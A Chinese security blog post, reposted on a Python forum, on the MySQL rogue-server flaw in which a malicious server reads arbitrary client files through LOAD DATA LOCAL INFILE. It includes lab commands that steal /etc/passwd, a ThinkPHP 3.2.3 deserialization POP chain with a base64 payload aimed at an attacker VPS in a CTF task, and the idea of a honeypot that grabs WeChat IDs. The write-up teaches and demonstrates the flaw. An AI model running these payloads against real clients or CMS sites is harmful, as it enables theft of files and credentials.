社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  DATABASE

MySQL 服务端恶意读取客户端任意文件漏洞

HACK学习呀 • 3 年前 • 441 次点击  



前言
  • LOAD DATA INFILE

  • 漏洞原理

  • 漏洞演示

  • 抓包分析

  • 实战中的利用

    • 读取敏感信息

    • 制作MySQL蜜罐

  • Ending.....

前言

在昨天(2021年4月11号),云舒大佬发了一个微博,疑似有人在在Freebuf上发了一篇带有蜜罐的文章,代码里面有MySQL帐号和密码。经云舒大佬连接测试后,发现这个MySQL服务器会读取连接它的客户端上的文件。

其实这个蜜罐利用的原理是一个很有趣的trick,原理在于MySQL服务端可以利用 LOAD DATA LOCAL 命令来读取MYSQL客户端的任意文件。这应该是一个很早以前就爆出来的漏洞,当年 TCTF2018 final 线下赛的比赛中,Dragon Sector 和 Cykor 就是用这个漏洞来非预期了 h4x0r's club 这道题。

LOAD DATA INFILE

LOAD DATA INFILE 语句用于高速地从一个文本文件中读取行,并写入一个表中。文件名称必须为一个文字字符串。

LOAD DATA INFILESELECT ... INTO OUTFILE 的相对语句。把表的数据备份到文件使用SELECT ... INTO OUTFILE,从备份文件恢复表数据,使用 LOAD DATA INFILE

标准示例:

load data infile "/data/data.csv" into table TestTable;load data local infile "/data/test.csv" into table TestTable;

第一行是读取服务端本地的文件,第二行是读取客户端本地的文件。

如下所示,我们读取客户端本地的data.csv文件到服务端数据库的TestTable表中:

load data local infile "/tmp/data.csv" into table TestTable FIELDS TERMINATED BY ',';
image-20210412104457432

除了csv文件,我们还可以读取任意格式的文件到表中:

load data local infile "/etc/passwd" into table TestTable FIELDS TERMINATED BY '\n';
image-20210412104742862

如上图所示,我们成功将客户端上的/etc/passwd文件读取到了服务端MySQL的数据表中。很显然,LOAD DATA INFILE 这个语句是不安全的,在MySQL的官方文档里也充分说明了这一点:https://dev.mysql.com/doc/mysql-security-excerpt/5.7/en/load-data-local-security.html

image-20210412105237777

其大致意思如下:

  • 因为 LOAD DATA LOCAL 是SQL语句,其执行是在服务器端进行的,并且文件从客户端主机到服务器主机的传输是由MySQL服务器启动的,MySQL服务端将告诉客户端该语句中命名的文件。从理论上讲,打补丁的服务器可以告诉客户端程序传输服务器选择的任何文件,而不是语句中命名的文件。这样的服务器可以访问客户端用户具有读取权限的客户端主机上的任何文件。

下面,我们就围绕这个点所产生的漏洞进行详细的分析。

漏洞原理

该漏洞的核心原理在于MySQL服务端可以利用 LOAD DATA LOCAL 命令来读取MYSQL客户端的任意文件。

MySQL客户端和服务端在通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客服端发送的请求来响应客户端。在这个过程中,如果客户端的一个操作需要两步请求才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接就丢掉了,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些其他的事情。

但是一般的MySQL客户端和服务端通信都是客服端发送一个MySQL语句然后服务端根据这条语句查询后返回结果,没有什么可以利用的。不过我们前面说了,MySQL有个 LOAD DATA INFILE 命令,可以读取一个文件内容并插入到表中。

如下,当MySQL客户端以下执行 LOAD DATA INFILE 命令后:

load data local infile "/data/test.csv" into table TestTable;

MySQL客户端与服务端的交互可以表示为一下对话:

  1. 客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
  2. 服务端:请把你本地/data/test.csv的内容发送给我
  3. 客户端:好的,这是我本地/data/test.csv的内容:....
  4. 服务端:成功/失败

正常情况下这个流程是没毛病的,但是前面我说了客户端在第二次并不知道它自己前面发送了什么给服务器,所以客户端第二次要发送什么文件完全取决于服务端,如果这个服务端不正常,就有可能发生如下对话:

  1. 客户端:把我我本地/data/test.csv的内容插入到TestTable表中去
  2. 服务端:请把你本地/etc/passwd的内容发送给我
  3. 客户端:好的,这是我本地/etc/passwd的内容:....
  4. 服务端:....随意了

这样服务端就非法拿到了 /etc/passwd 的文件内容。今天我要实现的就是做一个伪服务端来欺骗善良的客户端获得客户端主机上任意文件的过程。

MySQL 官方文档中有一句话是这样说的:

"A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL"

意思就是,伪造的服务端可以在任何时候回复一个 file-transfer 请求进行客户端与服务端之间的文件传输,不一定非要是在 LOAD DATA LOCAL 的时候。

总结一下漏洞的成因:

  1. LOAD DATA INFILE 读哪个文件是由服务端返回包的 file-transfer 请求决定,而不是客户端。
  2. 不管客户端发出什么请求,只要服务端回复一个 file-transfer 请求,客户端就会按照LOAD DATA INFILE的流程读取文件内容发给服务端

总结一下整个攻击流程:

  1. 受害者向攻击者提供的服务器发起请求,并尝试进行身份认证
  2. 攻击者的MySQL接受到受害者的连接请求,攻击者发送正常的问候、身份验证正确,并且向受害者的MySQL客户端请求文件。
  3. 受害者的MySQL客户端认为身份验证正确,执行攻击者的发来的请求,通过 LOAD DATA INLINE 功能将文件内容发送回攻击者的MySQL服务器。
  4. 攻击者收到受害者服务器上的信息,读取文件成功,攻击完成。

漏洞演示

一些Mysql客户端,比如Python的MySQLdb和mysqlclient,PHP的mysqli和PDO,Java的JDBC Driver以及原生MySQL客户端等,在连接MySQL的时候,基本上在连接成功之后都会发出一些 SELECT 语句来查询一些版本号、编码之类的数据,这时就可以回复一个 file-transfer 请求来利用该漏洞,读取客户端上的文件。

这里有一点要说明的是,如果想要利用此特性,客户端必须具有 CLIENT_LOCAL_FILES 属性,所以可能要在连接服务端的时候添加 --enable-local-infile 选项。

以下是本次实验的测试环境。

攻击机(服务端):

  • Kali Linux
  • 192.168.43.247

受害机(客户端):

  • Ubuntu
  • 192.168.43.82

首先下载大佬写好的POC脚本 Rogue-MySql-Server,找到 rogue_mysql_server.py 脚本的第26行处的元组 filelist

image-20210407163934141

元组 filelist里面为要读取的受害者主机上的文件地址(读Windows文件时注意路径)。

然后在攻击机(服务端)上执行rogue_mysql_server.py脚本:

python rogue_mysql_server.py
image-20210407164158653

然后,我们控制受害机(客户端)连接我们当才在攻击机上搭建的恶意服务端:

mysql -h192.168.43.247 -uroot -p --enable-local-infile
image-20210407175447854

当客户端连上攻击机搭建的服务端瞬间,服务端便可以读取到受害机客户端上的/etc/passwd,并记录到 Rogue-MySql-Server 中的日志文件中:

image-20210407170904219

漏洞利用成功。

抓包分析

下面是整个攻击过程的wireshark抓包分析。我们在客户端

(1)客户端连接上攻击者伪造的服务端瞬间,服务端会向客户端发送 "Greeting" 数据包,服务端返回的banner,其中包含MySQL的版本等信息:

image-20210412110918522

(2)然后客户端向服务端发送MySQL登录请求:

image-20210412111052854

(3)登录时候,客户端会进行一些 SELECT 初始化查询,一些版本号、编码之类的数据等:

image-20210412111410500

(4)之后就是执行  LOAD DATA LOCAL  语句进行文件传输了:

image-20210412111832063

从抓到的流量包中我们可以看到,服务端读取了客户端上的 /etc/passwd 文件内容。

实战中的利用

读取敏感信息

由于部分 CMS 提供通过后台绑定数据库地址,那么可以考虑通过构造恶意服务端利用上述方式获取到一些敏感信息。下面我们通过 [红明谷CTF 2021]EasyTP 这道CTF例题来看一看。

进入题目:

image-20210407173445324

随便报个错发现是ThinkPHP 3.2.3,该版本存在反序列化造成的sql注入漏洞:

image-20210407173558811

扫描目录发现网站备份文件 www.zip,将源码下载下来查看默认的控制器,发现反序列化点:

image-20210407174656327

我们可以通过这个反序列化点触发sql注入,或者连接我们搭建的恶意的MySQL服务端。

首先在自己vps上面使用 rogue_mysql_server.py 搭建一个恶意的MySQL服务端(如果MySQL端口冲突可以换一个端口,这里我改成了3307端口):

image-20210407175756657

去网上找个POP链然后改改参数直接打就行了:https://f5.pm/go-53579.html

namespace Think\Db\Driver{    use PDO;    class Mysql{        protected $options = array(            PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件        );        protected $config = array(            "debug"    => 1,            "database" => "thinkphp3",            "hostname" => "47.xxx.xxx.72",            "hostport" => "3307",


    
            "charset"  => "utf8",            "username" => "root",            "password" => ""        );    }}
namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img;
public function __construct(){ $this->img = new Memcache(); } }}
namespace Think\Session\Driver{ use Think\Model; class Memcache{ protected $handle;
public function __construct(){ $this->handle = new Model(); } }}
namespace Think{ use Think\Db\Driver\Mysql; class Model{ protected $options = array(); protected $pk; protected $data = array(); protected $db = null;
public function __construct(){ $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( "table" => "mysql.user where 1=updatexml(1,user(),1)#", "where" => "1=1" ); } }}
namespace { echo base64_encode(serialize(new Think\Image\Driver\Imagick()));}

执行POC生成payload:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjQxOiJteXNxbC51c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsdXNlcigpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjk6InRoaW5rcGhwMyI7czo4OiJob3N0bmFtZSI7czoxMjoiNDcuMTAxLjU3LjcyIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6IjIzMzMiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6MDoiIjt9fX19fQ==

执行。如下图,成功将目标主机上的 /etc/passwd 读取出来:

image-20210407182414600
image-20210407182515850

利用成功。

制作MySQL蜜罐

就像Freebuf上那篇文章一样,利用该漏洞制作MySQL蜜罐,诱使攻击者去连接,从而读取攻击者主机上的敏感信息。

在 Github 上就有一个 MysqlHoneypot,可以利用MySQL蜜罐去读取攻击者的微信ID。

image-20210412112640639

Ending......



推荐阅读:


实战 | 记一次基础的内网Vulnstack靶机渗透(一


记一次内网Vulnstack靶机渗透(二)


实战 | 记一次Vulnstack靶场内网渗透(三)


记一次Vulnstack靶场内网渗透(四)


实战记录 | 自主搭建的三层网络域渗透靶场




点赞 在看 转发


原创投稿作者:Mr.Anonymous

博客:whoamianony.top


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/111591
 
441 次点击